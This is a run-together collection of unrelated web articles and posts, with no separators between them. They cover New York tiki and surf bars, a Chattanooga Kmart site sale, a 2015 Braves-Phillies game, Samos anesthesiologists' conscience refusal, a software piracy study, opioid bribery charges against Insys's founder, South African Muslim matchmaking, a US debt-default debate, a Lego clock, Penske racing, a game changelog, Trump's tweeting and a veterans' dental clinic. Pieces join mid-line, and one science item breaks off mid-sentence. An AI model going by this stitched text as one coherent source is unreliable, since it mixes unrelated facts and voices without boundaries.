Behold the MASSIVE carved-out pineapples that carry your piña colada-esque Pineapple Paradise, dive into a Zombie or indulge in a sugary Scorpion, served in a tiki glass and topped with a paper parasol. Note that Jade Island is not for the insulin-averse, since these drinks are sweet enough to drown your taste buds for life.
Jade Island is located at 2845 Richmond Avenue in Heartland Village, Staten Island (718-761-8080).
Via Facebook
Best Sand: SURF BAR: I stumbled into this bar not long after I defected from Manhattan to Brooklyn, not expecting to find that it was full of sand, grains of which are probably still stuck between the floorboards of my old apartment. Thus far, Surf Bar's sand floor has managed to survive the Great Williamsburg Bar Purge, and you can still spend weekends and evenings pretending you're getting drunk in Encinitas instead of on North 6th Street.
As for the drinks, Gothamist Managing Editor John Del Signore's been known to indulge in their subtly-decorated piña coladas though the mojitos, Zombies and other surf-related drinks are worth a try as well. Dump out your shoes before you track sand all over Bedford Avenue, you sun-drunk vagabond.
Surf Bar is located at 139 North 6th Street near Bedford Avenue in Williamsburg, Brooklyn (718-302-4441, brooklynsurfbar.com).
Via Facebook
Best Tiki Party #1: TIKI MONDAYS WITH MILLER: Though the city's tiki bars have taken a dive over the years, bartender extraordinaire/modern pirate Brian Miller's been trying to keep the scene going with his semi-regular Tiki parties, where rum lovers can imbibe Painkillers, Mai Tais and Zombies, don leis and party like it's 1973. And the drinks are delicious—Miller once slung fancy cocktails at Death & Co., and he knows his stuff.
These days, Tiki Mondays have been kicking it over at Pouring Ribbons in the East Village, having relocated from the now-shuttered Apartment 13 this summer. Long Live Tiki.
Follow them on Facebook for details on the next party.
Via Facebook
Best Tiki Party #2: SUNKEN HARBOR CLUB AT FORT DEFIANCE: Even winter can't kill this Red Hook bar's weekly Thursday tiki soirée, where $11-$14 drinks like the rum/brandy/gin/sherry Fog Cutter and the warm rum Kipling will have you drunk-eating fried wontons in one hour or less. Paper parasols, creative mugs, flaming shots and Hawaiian shirts rule the over-the-top roost here, and things get wild, particularly once people start breaking into the White Zombies, which are so lethal each customer is limited to one. The food-and-drink menu changes by the week, so check the party's Facebook page for details. And don't for a second think you're making it into work on Friday, lest you heave on your boss's computer and break down crying.
Fort Defiance is located at 365 Van Brunt Street between Sullivan and Wolcott Streets in Red Hook, Brooklyn (347-453-6672, fortdefiancebrooklyn.com).
Via Yelp
Best Nautical Dive: THE RUSTY KNOT: It's not super clear what theme the Rusty Knot's trying to boast—surf bar? Ship saloon? Fisherman's tavern? Human fish tank? Gay bar? But whatever the deal, this West Village spot is a perfect place to pretend you're sailing off to someplace warm, instead of precariously perched by the Hudson River. Bass plaques, boar heads and ship's wheels line the walls here, with plastic mermaids adorning Singapore Slings ($12) and Dark & Stormy's ($13), all of which come in the required tiki glasses. Bonus points for a pool table.
The Rusty Knot is located at 425 West Street in the West Village (212-645-5668, therustyknot.com).
Via Facebook
Best Surf Shack: RÉUNION: Don't let Midtown keep you from Hell's Kitchen's premiere, strange surfer/cocktail bar hybrid. This bar has everything: a fish tank, surf board decor, an old bank vault, tacos and dangerous, dangerous drinks. Try a Mermaid ($12), a frozen mojito and the bar's signature drink, or go for a slightly less lethal Frozen Corona ($12), made with lime juice, triple sec and Corona beer. They've also got classic tiki drinks like Mai Tais and Painkillers on tap, along with terrifying "Double Strong" drinks like Zombies and a Jamaican Sazerac for $14.
Réunion is located at 357 West 44th Street between 8th and 9th Avenues in Hell's Kitchen (212-582-3200, reunionbar.com).
(Sai Mokhtari/Gothamist)
BONUS Best Real Surf Bar: ROCKAWAY BEACH SURF CLUB: We're cheating the system here, since Rockaway Beach Surf Club is closed for the season—it is a real surf bar, after all. But just because you can't stave off winter here doesn't mean it should be left off this list, since everything about this place is top-notch. There's booze here, of course—the margaritas are excellent, as are the cocktails, or you can stick with beer—plus barbecue, pub grub and brunch food, if the time is right. Plus there are real surfers, not just a million hipster shoobies, outdoor seating and legitimate surf bar decor. Surf season will be back soon enough, and you can expect this place to get PACKED. Bring cash and leave the 'tude and close-toed shoes at home, please.
Rockaway Beach Surf Club is located at 302 Beach 87th Street in Far Rockaway, Queens (rockwaybeachsurfclub.com)Related Article Kmart shutting down its last remaining store in Chattanooga Read more
Seven months after Kmart shut down its last remaining store in Chattanooga, the abandoned storefront on Highway 153 has a new owner who hopes to revitalize the Hixson property by adding a restaurant on an out parcel and renovating the store building into spaces for four or more smaller tenants.
Chattanooga developer Bassam Issa, who has bought and developed retail, restaurant and office projects in East Brainerd and elsewhere in Hixson, bought the former Kmart store for $5 million last week.
"Highway 153 in Hixson is really a twin market to Gunbarrel and Shallowford Roads and if someone wants to have a store or restaurant in East Brainerd it only makes sense to have one in Hixson as well," Issa said. "This is an area where retailers are very much interested in and it's a good property to redevelop."
The Highway 153 site will be named Issa Crossing and should have its first stores or restaurants open in 2018, Issa said.
The 116,325-square-foot Kmart store was built in 1994 to replace a previous Kmart store on Hixson Pike.
Issa said he hopes to renovate the former Kmart facility into net leasable space of 80,000 to 90,000 square feet for several commercial tenants to lease. The developer said he is negotiating to lease an out parcel for a new restaurant, which he hopes can begin development in 60 to 90 days.
Kmart once operated nearly a dozen stores in the region, but the discount retailer shut down its stores in Cleveland, Athens, Sweetwater and Maryville, Tenn., in the spring and summer of 2016 before shutting down the Hixson store in December. Other Kmarts on Highway 58, Mountain Creek Road and Gunbarrel Road closed in earlier years.
Kmart plans to also shut down its Fort Oglethorpe store by September, although it will continue to operate two stores in Dalton, Ga.
Issa said rising land and construction costs have made developing new commercial properties more difficult and expensive and encouraged him to buy the former Kmart store.
"We're trying to be creative and think outside the box," he said.
Contact Dave Flessner at [email protected] or at 423-757-6340.Phillies vs. Braves - the WORST teams in MLB - Get ONLY 15,125 fans tonight - SMALLEST Crowd in CBP History pic.twitter.com/dunoAMXrfj — Jeff Skversky (@JeffSkversky) September 8, 2015
The Atlanta Braves ended their 12-game losing streak, beating the Philadelphia Phillies 7-2 Monday night behind the hitting of Hector Olivera and the pitching of Williams Perez.The smallest crowd in the 12-year history of Citizens Bank Park - 15,125 - saw the Braves stop their worst skid since 1988.Atlanta also had lost 13 in a row on the road since defeating the Phillies on Aug. 2.Olivera homered, doubled and drove in four runs. Freddie Freeman homered and Jace Peterson and Andrelton Simmons each got three hits for the Braves.Perez (5-6) threw seven strong innings. The rookie had been 0-6 with a 9.50 ERA over his last seven games.Perez earned his first victory since June 20, giving up two runs and six hits while striking out seven.Aaron Harang (5-15) leads the majors in losses. He is 1-12 with a 6.33 ERA over his last 17 starts.Brian Bogusevic homered for the Phillies, who have lost four straight and 11 of 14.Olivera, the centerpiece acquisition of the Braves' three-team deal with the Dodgers and Marlins in July, entered 2 for 17 in five big league games.Freeman hit a two-run homer, his 16th, in the first. The Braves began the day with a majors-low 83 home runs.Olivera's two-run double in the fourth highlighted a three-run inning that made it 5-1. He hit a two-run homer in the ninth.Bogusevic, called up Friday from Triple-A Lehigh Valley, homered as a pinch-hitter in the fifth in his first at-bat in the big leagues since 2013.TRAINER'S ROOMBraves: Olivera returned to the lineup after sitting out Sunday's game at Washington with a bruised left foot.Phillies: C Cameron Rupp was back in the lineup. He missed two games after getting hit in the arm by a pitch.UP NEXTPhillies rookie RHP Aaron Nola (5-2, 4.02) tries to rebound from his worst outing when he starts Tuesday night. Nola gave up a career-worst six runs on nine hits in four innings of a 9-4 loss at the Mets last Wednesday. The Braves haven't announced their starter.The anesthesiologists at the Hospital of Samos have collectively refused to issue anesthetic treatment to pregnant women for abortions on grounds of conscience. In a written statement handed to the hospital’s management, the employees said they would refrain from issuing anesthetics to pregnant women who wanted to perform abortions, unless serious life threatening risks demanded it. They cited article 31 of Law 3418/2005 (the doctor’s code of ethics), which provides that the “doctor can invoke the regulations and principles of ethical conscience and refuse to apply or partake in procedures of artificial termination of pregnancies, unless an unavoidable risk for the pregnant woman’s life or a constant damage to her health are present”. Accordint to reports, the hospital management has no right to obligate the doctors to take part in the procedure.The Business Software Alliance released its annual Global Piracy Study yesterday and while the study is oft-criticized on methodological grounds (Glyn Moody, my 2009 criticisms that revealed no actual surveys in Canada that year), the trend is unmistakable. According to this annual study, Canada’s piracy rate has been on a steady decline as Michael Murphy, Chairman of the BSA Canada Committee, notes “at 28 per cent, Canada’s piracy rate is at an all time low, dropping six percentage points since 2006.”
The Toronto Star runs a story on the release, complete a graphic showing Canada among the 15 lowest piracy countries in the world. Canada’s is well below the Western European average and well below the other countries on the USTR Special 301 Watch list. While the BSA notes an increase in the dollar amount, this is due almost entirely to currency fluctuations given the stronger Canadian dollar. Moreover, Joe Karaganis highlights the fact that the BSA says the top source of “software piracy” is not unauthorized versions of software but rather “overinstallation” – the installation of legal, authorized software on more than one computer.
The BSA study is only the latest data point from the industry that counters the steady stream of myths regarding the Canadian market and Canadian copyright law:
claims that the Canadian digital market is wild west is countered by recording industry data showing that the Canadian digital music market has grown faster than the U.S. market for five consecutive years
claims that new services avoid entering the market because of copyright law is countered by those services (such as Pandora) noting that it is pricey licensing demands, not copyright laws, that are the chief barrier
claims that Canada does not have laws to deal with so-called piracy sites is countered by the recording industry’s own lawsuit against isoHunt that seeks millions in damages using current copyright law
claims that Canada is a haven for movie piracy is countered by the CMPDA, which has acknowledged the significant decline in the practice in Canada in recent years
claims that notice-and-notice is ineffective as an approach to ISP liability is countered by data from the ISPs, the Entertainment Software Association of Canada, and by the CMPDA’s own discussions with the U.S.The most prominent pharmaceutical executive to be criminally charged in the opioid epidemic is now free on bail. John Kapoor, founder of Insys therapeutics, was arrested Thursday in Phoenix. He posted bail of $1 million. The billionaire is accused of racketeering, conspiracy, fraud and other felonies.
Kapoor's company makes Subsys, a fentanyl spray medication approved only for severe cancer pain. Prosecutors say Kapoor helped devise a plan to bribe doctors into prescribing the potent opiate to non-cancer patients, reports CBS News' Jim Axelrod.
"I told my husband several times,'my gosh, he must be getting paid to prescribe these medications,'" said Carey Ballou.
Ballou now believes she was kept on Subsys by her doctor for more than two years because he was getting bribed.
Carey Ballou CBS News
"He did not want me to stop taking the drug. I asked over a 10-month period," Ballou said.
Earlier this month, Ballou sued him and the drugmaker Insys. Her court filings claim the company paid her doctor $221,000.
"From top to bottom there was nobody there to say wait a minute, this needs to stop," said Michael Canty, a former federal prosecutor who advises states on suing opioid manufacturers.
"They paid doctors essentially to prescribe the drug. And they did this through a speaker series," Canty said.
On Thursday, federal agents arrested Insys' 74-year-old founder, John Kapoor.
An indictment alleges he personally recruited physicians for a kickback scheme which included dinners at high-end restaurants for doctors and their staff and payments for sham speaking engagements.
CBS News has learned Insys made 18,000 payments to doctors in 2016 that totaled more than $2 million.
Prosecutors say Kapoor's staff also got insurance companies to approve the fraudulent prescriptions by impersonating physicians' employees.
Operator: "You're calling from the doctor's office, correct?"
Insys employee: "Yeah"
Operator: "And which medication are you calling about?"
Insys employee: "It's Subsys."
Operator: "Is it also for the breakthrough cancer pain or not?"
Insys employee: "It's for breakthrough pain, yeah."
The patient the Insys staffer was calling about was Sarah Fuller. She became addicted to fentanyl and died from an overdose 15 months later. A judge ordered Kapoor to turn in his passport and wear an electronic monitoring device. His attorney says Kapoor is innocent and intends to fight the charges vigorously. Forbes estimates Kapoor's net worth is around $1.7 billion.What is the mathematical structure of the natural world?
In a paper released in Science, a new model presents a common mathematical structure that underlies the full range of feeding strategies of plants and animals: from familiar parasites, predators, and scavengers to more obscure parasitic castrators and decomposers. Now ecologists can view all food-web interactions through the same lens using a common language to understand the natural world.
"Physicists use'string theory' to decipher the universe, economists use complex regression methods to model the global economy, but what about the animals and plants that supply our food and that clean and produce the air we breathe?" said co-author Andrew Dobson, a professor in Princeton University's Department of Ecology and Evolutionary Biology.
The model captures the structure of all the consumer-resource links, plants capturing sunlight, predators eating prey, and parasites eating hosts, that connect species in food webs. "It rolls a century's worth of food-web mathematics into a single model," said U.S. Geological
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“Are you a born or reverted Muslim?” and “Do you wear a hijab [headscarf] or a niqab [face veil]?” and “Do you accept polygamy?”
American and British Muslims have been quick to adapt to the online matrimony game, and they have a wide variety of websites to choose from. Locally there is just one, nikah.co.za. It was started in August by a Cape Town-based company called Go Solutions, which assists Muslim organisations in using technology to reach out to the community.
Nikah.co.za is the only South African website that provides a matchmaking service for Muslims.
According to a spokesperson from the group, it was met with criticism with some in the community questioning how legitimate it was to meet your partner online. But this changed when Mufti Ismail Menk, a widely respected Islamic scholar, gave the project his blessing.
Within a relatively short time, the website signed up nearly 700 members, and they claim that five couples who met on the site have married.
Stiff competition
South African Muslims who use the international sites are up against some seriously stiff competition. Consider: a Muslim woman here – sitting at her laptop in her bedroom at the tip of the African continent – will be competing for the attentions of, say, a London lawyer with thousands of women who are a lot closer and who have faster internet connections.
Local Muslim women who have tried the international sites have had little luck.
“A guy from Canada claimed he was in love with me and wanted to get married straight away, because his parents were putting pressure on him,” says Laila, a fortysomething, professional, single Muslim woman, who says she has resigned herself to the fact that she will never meet Mr Right.
“I was not ready after just a few months of chatting and said I needed more time. He eventually wrote and said that he couldn’t wait any longer and had become engaged to a girl that his family had found for him. He even sent me pictures of his wedding.”
Maryam, a 30-year-old health sciences graduate, says she has had mostly negative experiences on the international sites. “Most men I met were weirdos – some I might call sleazy. It was a waste of my time.”
Online match
I can vouch for that. I met one of my three husbands this way. When we first met online, he sent me long emails detailing his goals and ambitions, and I was smitten with his plans for a perfect life. What he failed to mention was that he was also deeply in love with a Hindu woman with whom marriage was a no-no. I married him anyway. But that’s a long story.
There was also a 31-year-old Frenchman of aristocratic descent (LOL!) who turned out to be a 55-year-old nobody from who knows where. When I called his bluff, he disappeared off the online matrimonial scene for weeks, before returning with a sob story about a friend who had passed away whose ashes needed to be disposed of on the island of Corsica.
So if matrimonial sites are not the way to go, what’s an educated Muslim gal to do?
The Prophet Muhammad encouraged his followers to get married. And although Islam prohibits a man and woman from being alone together in a secluded place before marriage, it doesn’t lay down hard and fast rules for how to go about finding a marriage partner.
The old-fashioned way
Back in the 1960s, my dad – who at 33 was handsome, educated and employed – simply told his cousin he wanted to marry my mum, who was 19, without ever interacting with her (they lived on the same street and he had seen her several times).
His cousin lodged a marriage proposal with my grandparents on his behalf. Mum prayed the Salaatul Istikhaarah, the prayer of guidance, and, after dreaming that the two of them were shopping for furniture together, she agreed to marry dad.
In those days, that is how most Muslim women met their match. In some cases they had a choice, in others they didn’t and were simply married off to someone deemed suitable by their families. Sometimes the unions were successful and sometimes they weren’t but, even so, most couples stuck it out because divorce was taboo.
The roles of Muslim women have changed substantially since then.
In my mother’s time, it was rare for a Muslim girl to finish school and almost unheard of for her to attend university, let alone to work. The emphasis was on learning how to cook, bake, sew and clean so that she could be the model wife, mother and daughter-in-law.
Traditional roles
But Muslim women have increasingly started to challenge these traditional roles.
“The more Muslim women reflect, we can’t fit into the place of a baby maker and domestic labourer in exchange for halaal sex,” says Ayesha, an academic in her mid-30s, who hasn’t yet met a partner although she firmly believes there’s a time and place for everything.
“The transfer simply isn’t enough; we also want to be respected for mind and professional ability within marriages.
“The South African Muslim male social consciousness isn’t uplifted enough to handle the new empowered Muslimah. And yet it does exist beyond our insular local community thinking.”
Empowered Muslimahs are far from being a new phenomenon. About 1 400 years ago, women surrounding and interacting with the Prophet were successful businesswomen, skilled in science and the arts. They were also bold enough to propose marriage.
In fact, Khadijah, the Prophet’s first wife, proposed to him even though, in his mid-20s, he was more than a decade younger than she was.
Community regression
But as Laila says, generally speaking, the Muslim community seems to have regressed in this respect.
“A woman in her 40s who has never been married before is often considered unmarriageable as her major task is usually to bear children and biologically this becomes more difficult as a woman reaches a certain age,” she says.
“Most families cannot imagine their twenty- or thirtysomething son being with an older woman. The reality that the Prophet of Islam actually married a 40-year-old lady at the age of 25 seems to not be a consideration in this contemporary context.”
In fact, there seems to be a sell-by date when a woman reaches a certain age, as Mishka, a 28-year-old Muslim journalist, has learnt.
“I’m pretty much considered to be unmarriageable in many sectors of the community. I have heard it’s going to become increasingly difficult for me to get proposals as I get older, that it gets difficult after 26, and it’s basically all over for me when I hit 30,” she says.
Introductions
Mishka has never used a matrimonial site but she has let her friends introduce her to men and has been open to the traditional practice, in which a suitable “boy” is sent to view and speak to a “girl” at her parents’ home – along with his family. It has become known famously as the “samoosa run”, because the visitors are usually served tea and the famous Indian savoury.
“I have mainly had good experiences but there was one young man who kept questioning me about my teeth and height and baldness in the family; he was probably planning his children’s genes. Needless to say, I wasn’t impressed,” she says with a laugh.
“Once, the parents came to visit me without bringing their son. That was rather strange. It seemed like they were inspecting me for him, like I was a piece of meat, really.”
In a warm, cosy lounge in Durban, I chat to 50-year-old Faheema Sayed, a seasoned matchmaker who works tirelessly to make marriages happen.
While we sip hot tea, accompanied by square slices of yummy yellow cake, another matchmaker, who asked only to be identified as Auntie Hajra, joins us.
Matchmaker
Auntie Hajra, who is 71, tells me how she unwittingly fell into her role. As a teenager, she moved to a small farm town after marriage and was asked by members of the community to help to arrange matches for young unmarried men and women. She has been doing it ever since.
It works something like this: a boy or girl, or their mother/relative/friend, calls requesting a suitable match. The matchmaker records details such as age, profession, physical description and any other significant attributes they are seeking in their potential partner.
They then go through their list of names and supply one number at a time to the boy, or the person inquiring on his behalf, who will then contact the girl.
Both matchmakers provide their services “for the pleasure of Allah”, but another matchmaker, who didn’t want to be named, told me that others can charge up to R750 to provide a “boy” with three “leads”.
Some also expect a handsome gift when a match they facilitated is solemnised, which may be proportionate to the economic status of the groom.
“So, if he’s a doctor, for example, the gift has to be gold,” she said.
Coffee date
Back in my parents’ day, the boy’s family would then contact the girl’s family and arrange a visit. And, although some families (and boys) still prefer to do this, Faheema tells me that these days they encourage the boy and girl to meet for coffee in a public place instead.
These days, Aunty Hajra also requests that a photograph of the boy and girl be WhatsApped to her husband’s or daughter’s phone, though she admittedly keeps out of the technology part of the transaction.
They both lament the fact that there aren’t enough social gatherings at which boys and girls can be introduced to each other.
“If you’re not in school, if you’re not in university, where are you going to meet someone? ” asks Sayed.
“In the old days people would meet at mainly weddings. One daadi [paternal grandmother] would make an arrangement with another daadi for her grandson to meet her granddaughter. Now invitations specify that only two persons per family can attend a wedding.
“We need more social gatherings. Mosques should organise gatherings with a social atmosphere, where people can meet within permissible limits.”
Mxit daughters-in-law
Aunty Hajra admits there are three “MXit daughters-in-law” in her extended family.
When I was studying at a strict girls-only Islamic educational institute in the late 1990s, I can remember teenage girls who came from very strict upbringings giggling about guys they were chatting with on MXit, which only requires access to a very basic handset. They would meet them in various chat rooms catering for Muslims, and use the private messaging option to get to know each other.
But few people I know use MXit these days since the advent of other social media forums such as Facebook and Twitter. It’s not easy to chat up a guy in 140 characters, but I have certainly received many unwanted advances from guys living in India via my Facebook inbox.
There’s now a younger generation of matchmakers who have incorporated the use of Facebook into their services. One of these is Saajida Chhaya, a 28-year-old accountant, who started a free service called SA Nikaah (marriage) in 2011.
Although her primary modus operandi entails a formal application and interview process (which she says has led to 38 successful matches), she also allows Facebook users looking to get married to post profiles on her wall.
Sayed thinks that the new trends in matchmaking are a good thing, as they both admit that it’s becoming increasingly difficult for a Muslim woman to meet Mr Right. But they are adamant that Allah has made a partner for everyone.
“Have faith, have hope, and put your trust in Allah. It’s going to happen one day,” Sayed says.We continue to be astounded by the emergence of the pro-default meme within financial circles.
Previously it was Chris Whalen and Dean Baker taking the stance that the US could default with minimal negative ramifications.
Now it's someone at a major bank: BofA's credit strategist Jeffrey Rosenberg, whose note from Friday is titled The Case For Default (via @dutch_book).
He explicitly rejects the doom camp, and thinks temporary default could be managed without significant market interruption.
We don't find his argument to be all that convincing.
No one need create the catastrophic event otherwise feared from a temporary deferral of interest payments on Treasury debt arising out of a political conflict. Politicians on both sides of the debate could help to avoid that outcome by setting market expectations. With appropriate direction from Treasury or Congress, holders of Treasury debt could accrue their missed interest payments while continuing to accrue future interest payments. Though CDS contracts would likely trigger, with relatively limited erosion in bond prices there would be little disruption from the tiny amount of exchanges of cash flows. Treasury can continue to roll over maturing debt into new debt. Would US foreign creditors hold their collective breath under the expectation that the long term benefits of improving fiscal sustainability outweigh the temporary cash flow disruption? And from their authoritarian perspective, would Chinese creditors to the US react stoically to a temporary disruption in their payments if they understand it as a necessary (and temporary) cost under the fractious US democratic system for securing the long term stable purchasing power of $1.1 trillion worth of US promise backed-debt? They might not. But they may face little other choice but to react with calm.
This raises so many questions. How are Congress and the Treasury supposed to give global markets "appropriate direction" about how this will work out? More importantly though, what is this supposed to accomplish? How does this temporary default get the US, with Washington DC so wildly divided, any closer to some long-term budget strategy? This is all incredibly confusing.
Then Rosenberg pivots. The US doesn't actually face any debt risk. Just inflation risk.
Much has been said of the market consequences of failing to raise the debt ceiling and the related, though not necessarily linked issue of defaulting on the debt. However, the long term market response may be positive as well. The difference between long term and short term interest rates stands at historical highs. And while part of that reflects the cyclical conditions of easy monetary policy, another part reflects a risk premium reflecting the rising credit risk of holding US Treasury debt under current trends of budget deficits. Willingness and ability to pay timely interest and principal defines sovereign credit risk. As the US debt is denominated in its own currency, impairment of ability to pay implies the Fed forgets how to run its printing press. Long term credit risk in holding US debt therefore reflects inflation risk - and the likelihood the government will eventually need to resort to higher levels of inflation to attempt to ease its debt burdens. Fortunately or not, such a solution will prove elusive as the average maturity of the debt - at less than 5 years - is too short for inflation to solve the problem. Only by setting the fiscal policy on a sustainable path can this outcome be avoided. In place of financial market uncertainty, movement towards fiscal sustainability may ease some of the worry out of the long term interest rate market. That benefit might outweigh the near term costs of market uncertainty from a temporary delay in Treasury interest payments and a prioritization of payments required were the debt ceiling to be maintained as part of negotiating that sustainable fiscal policy path.
Again, we ask, how does this temporary default solve anything? How does it get us closer to the finish line of changing the course of the nation's fiscal trajectory? It doesn't.
Beyond that, Rosenberg seems basically alone in thinking the bond market is pricing in some significant debt-associated risk.
While he's right that the spread between long and short-term debt is near historical spreads, this seems more due to the fact that the short end of the curve is abnormally low (thank you, QE), rather than anything happening at the long end.
Remember, 30-year yields remain really close to all-time lows.
Basically, longer-dated yields have moved with the market -- up when stocks go up, and down when stocks go down, as they have for a long time.
The merits of the argument aside (and in this case, Rosenber's argument is pretty weak), the real story here is the strength of the pro-default side of the debate, a stance that Treasury Secretary Geithner has called "Unthinkable."Since Christmas, I have addressed some of the problems that beset my previous clock, particularly the escapement mechanism. JKBrickworks made this fabulous sculpture, and it has a much better escapement in it. I asked if I could steal his idea and incorporated it into my clock.
The escapement mechanism is at the back. In front of that, on the black frame, is the power mechanism and winding mechanism. The clock is powered by weights (two Lego boat weights and an old electric motor) on the end of a piece of string (also a genuine Lego part).
There is also a winding mechanism that allows one to wind up the weight again whilst the clock is working. This took quite a lot of building and rebuilding to get the geometry right. It depends on a differential gear and a ratchet. It also took a few rebuilds to get it to work smoothly. One of the challenges with a Lego clock – in fact with any clock – is that the axles can bind if the frame isn’t rigid. Any axle that needs to go through three holes is especially problematic.
At the front, in the yellow frame, is the gearing mechanism that I used in my previous clock. The only addition is a few gears to make sure that the “ticking” of the escapement (which has 12 teeth, and hence rotates in 12 ticks) corresponds with one tick of the second-hand (which needs to rotate in 60 ticks).
With the gearing ratios correct (it’s not complicated – just multiplication) making the clock keep correct time is mostly about getting the length of the pendulum right. I could have looked up the physics on how to do this properly, but I chose the trial and error method instead. I found a round weight to go on the end (thanks Han Solo) and adjusted it up and down until the timing was about right. The clock keeps correct time for as long as it takes before it runs out of string … just 2 minutes at the moment. Not fantastically practical as a clock yet (and not as long as the previous version), but I’m much happier with the results.
A note about the clock tower: this is a simple construction made of 2×2 and 2×4 bricks using the parts from last year’s wedding cake.
I’m not the first to make a working clock in Lego. Nico71 made this clock with hour, minute and second hands. Someone called Gonkius made a clock which is weight powered, (but automatically winds itself, and uses a Lego Mindstorms robotics controller to adjust the pendulum length to keep correct time). For something really different, DrDudeNL made this Congreve clock in Lego.Penske last ran sportscars in 2009 using the Riley-Porsche combo in the Grand-Am Rolex Series. The team scored three podium finishes, a pole position but no wins, and drivers Romain Dumas and Timo Bernhard finished fourth in that year’s championship.
The team’s last successful venture into sportscar competition was in the American Le Mans Series using the Porsche RS Spyder LMP2s, which between 2005 and ’08 accumulated 11 overall victories – including the 2008 Sebring 12 Hours – and 13 other class wins.
Cindric commented on the new-for-2017 Prototype regulations saying: “Ultimately it comes down to how many manufacturers get involved.
“Sportscars are very hard to sell from a pure sponsor standpoint: it needs to be a manufacturer-backed project. Any proper sportscar program in the world needs to be a proper factory-backed effort.”
Although the majority of manufacturers are interested in the GT Le Mans class, Cindric said that class wins weren’t of great interest to Team Penske.
“I think we’ve been offered every GT program there is,” he said, “but we only really want to race for an overall win. We want to race in a prototype series of some kind.
“That doesn’t necessarily have to be Le Mans or WEC, but we don’t want to spend the time to go racing to finish 10 laps down and get a trophy. We want to be the first to cross the line, and that’s how Roger feels about it.
“But regarding IMSA, change is an opportunity. If you said things were going to stay the same, I’d tell you it would be tough for us to go sportscar racing any time soon. But with the changes coming in IMSA, I think you’ll see more and more manufacturers get in, because I do think what they’re doing and what they’re proposing has good merit.
“Some manufacturers may just watch at first, and then go in after a year or two, so I’d say our odds of entering certainly go up at that stage.”Wyrmsun 1.2.9 has been released, implementing an autosave feature, and adding Germanic place name generation to the grand strategy mode!
Posted by Andrettin on Jul 11th, 2015
Wyrmsun 1.2.9 has been released!
A number of improvements to the grand strategy mode have been made, including significant performance improvements (specially regarding scrolling the map), mouse scrolling and Germanic names are now also generated for provinces and settlements of their culture.
Furthermore, a quality of life improvement has been implemented: there is now an autosave option for the RTS scenarios (active by default), which saves the game every five minutes.
Happy playing!
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- 1.2.9 Changelog
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* Grand Strategy
- Fixed issue with a defeat happening if Durin and Modsognir weren't in Svarinshaug when the A Rocky Home and The Necklace of the Brisings missions happened.
- Improved mercenary hiring tooltip.
- Improved Grand Strategy mode performance.
- Teutons now generate a new province name when assimilating a province if none is preset for that province.
- Added mouse scrolling to the grand strategy mode.
- The Germanic and Gnome civilizations now display different settlement graphics depending on whether a barracks is built or not.
- Dwarves now generate a new province name for a province of their culture, if no dwarven cultural name is preset for that province.
- Germanics now generate a new province name for a province of their culture, if no germanic cultural name is preset for that province.
- Germanics now generate a new settlement name for a province of their culture, if no germanic cultural settlement name is preset for that province.
* Miscellaneous
- Fixed save game crash.
- Added autosave option (active by default), which autosaves the game every five minutes.
- Split the options screen into "Gameplay Options" and "Video and Audio Options" subscreens.
* Units
- Fixed costs of the Surghan Mercenary (it was costing some lumber, while it should cost none).
- Added extra safety check against crashes when a shooter fires at a unit just about to enter a container.Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Donald Trump has vowed to keep on tweeting when he becomes the new president of the US this week - even though he's been warned to take a more cautious approach to national security.
Outgoing CIA Director John Brennan said the president-elect needs to be careful about his off-the-cuff remarks, alluding to his rants on Twitter about everything from world issues to the media.
But in his first UK interview Trump indicated he will keep his Twitter profile - which has 20m followers - and other social media accounts to bypass the press and deliver his messages straight to the public.
The 70-year-old business mogul said he enjoys making statements on Twitter because he's been covered "dishonestly" by the media.
(Image: Getty)
He told The Times : "I thought I’d do less of it, but I’m covered so dishonestly by the press - so dishonestly - that I can put out Twitter.
"I can go bing bing bing...and they put it on and as soon as I tweet it out - this morning on television, Fox -'Donald Trump, we have breaking news'."
In an interview with Fox News Sunday, Brennan said: "Spontaneity is not something that protects national security interests.
"So therefore when he speaks or when he reacts, just make sure he understands that the implications and impact on the United States could be profound."
He added: "It's more than just about Mr. Trump. It's about the United States of America."
Brennan also said Trump should not be carelessly "talking and tweeting" and will have to make sure that national security interests are protected.
(Image: Getty)
In his interview with The Times, Trump praised Britons for voting to leave the EU and promised to secure a rapid trade deal with Britain in his first UK interview.
Trump said: "We're gonna work very hard to get it done quickly and done properly. Good for both sides."
He suggested Britons voted for Brexit because they wanted their own identity and it will "end up being a great thing".
He also blasted Chancellor Angela Merkel for Germany's open-door refugee policy which has allowed a wave of a million migrants into the country.
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Trump also discussed the prospect of a nuclear arms reduction deal with Russia, saying stocks of nuclear weapons should be cut "very substantially".
He was critical of Nato, saying it was obsolete because it had not defended itself against terror attacks, but the military alliance was still very important to him.
While discussing foreign policy he urged Britain to veto any new UN Security Council resolution critical of Israel.
He also announced that he would appoint his son-in-law, Jared Kushner, to broker a peace deal in the Middle East.
(Image: Getty)
The Republican business mogul has entered his final week before taking over the Oval Office following last November's shock victory over Democratic candidate Hillary Clinton.
His inauguration will take place at the US Capitol Building on Friday at noon local time.
This month has been particularly tumultuous for Trump after an unsubstantiated report surfaced claiming that Russia had collected compromising information about him.
The unverified dossier was summarized in a US intelligence report presented to Trump and outgoing President Barack Obama that concluded Russia tried to sway the outcome of the presidential election in Trump's favor by hacking and other means.
The report did not make an assessment on whether Russia's attempts affected the election's outcome.
Trump accused the intelligence community of leaking the dossier information, which its leaders denied.
They said it was their responsibility to inform the president-elect that the allegations were being circulated.Please enable Javascript to watch this video
Dental care is something many take for granted, but some not everyone can afford the luxury -- including those who protect and serve our country. However, there is a new effort to help fix that.
It's a modest dental clinic located on a downtown street in Tracy, California, but what they've proposed is groundbreaking.
Air Force veteran and Congressman Jeff Denham are part of a group driven to set up a clinic providing free dental care to veterans who can't afford it.
Thanks to fundraisers and community support the clinic has top of the line equipment, the latest in technology, and the clinic can see 32 patients a day.
Dr. Vikram Brar has treated many veterans out of his office in Modesto. He has offered up his satellite office here and will be volunteering his services as an endodontist.
"It's always a good feeling to give back to the community," Brar said. "It's a different kind of satisfaction money can't buy."
The clinic expects veterans will come from across the region. Dentists involved say a good smile and healthy teeth improves a person's mental and physical health -- which they said is something those who served deserve.
"In the whole country we couldn't believe there was not an organization outside the VA that would provide dental care to veterans," said Jaimie Aguinaldo, executive director of the Dentist Organize For Veterans project.
Organizers hope to get the clinic up and running by November. Their target date is Veterans Day.
"I think we have to give back and we can't think of a better group to give it to them the people who support us and defend our country," Aguinaldo said.
The clinic will also be training and using veterans for jobs inside the offices.
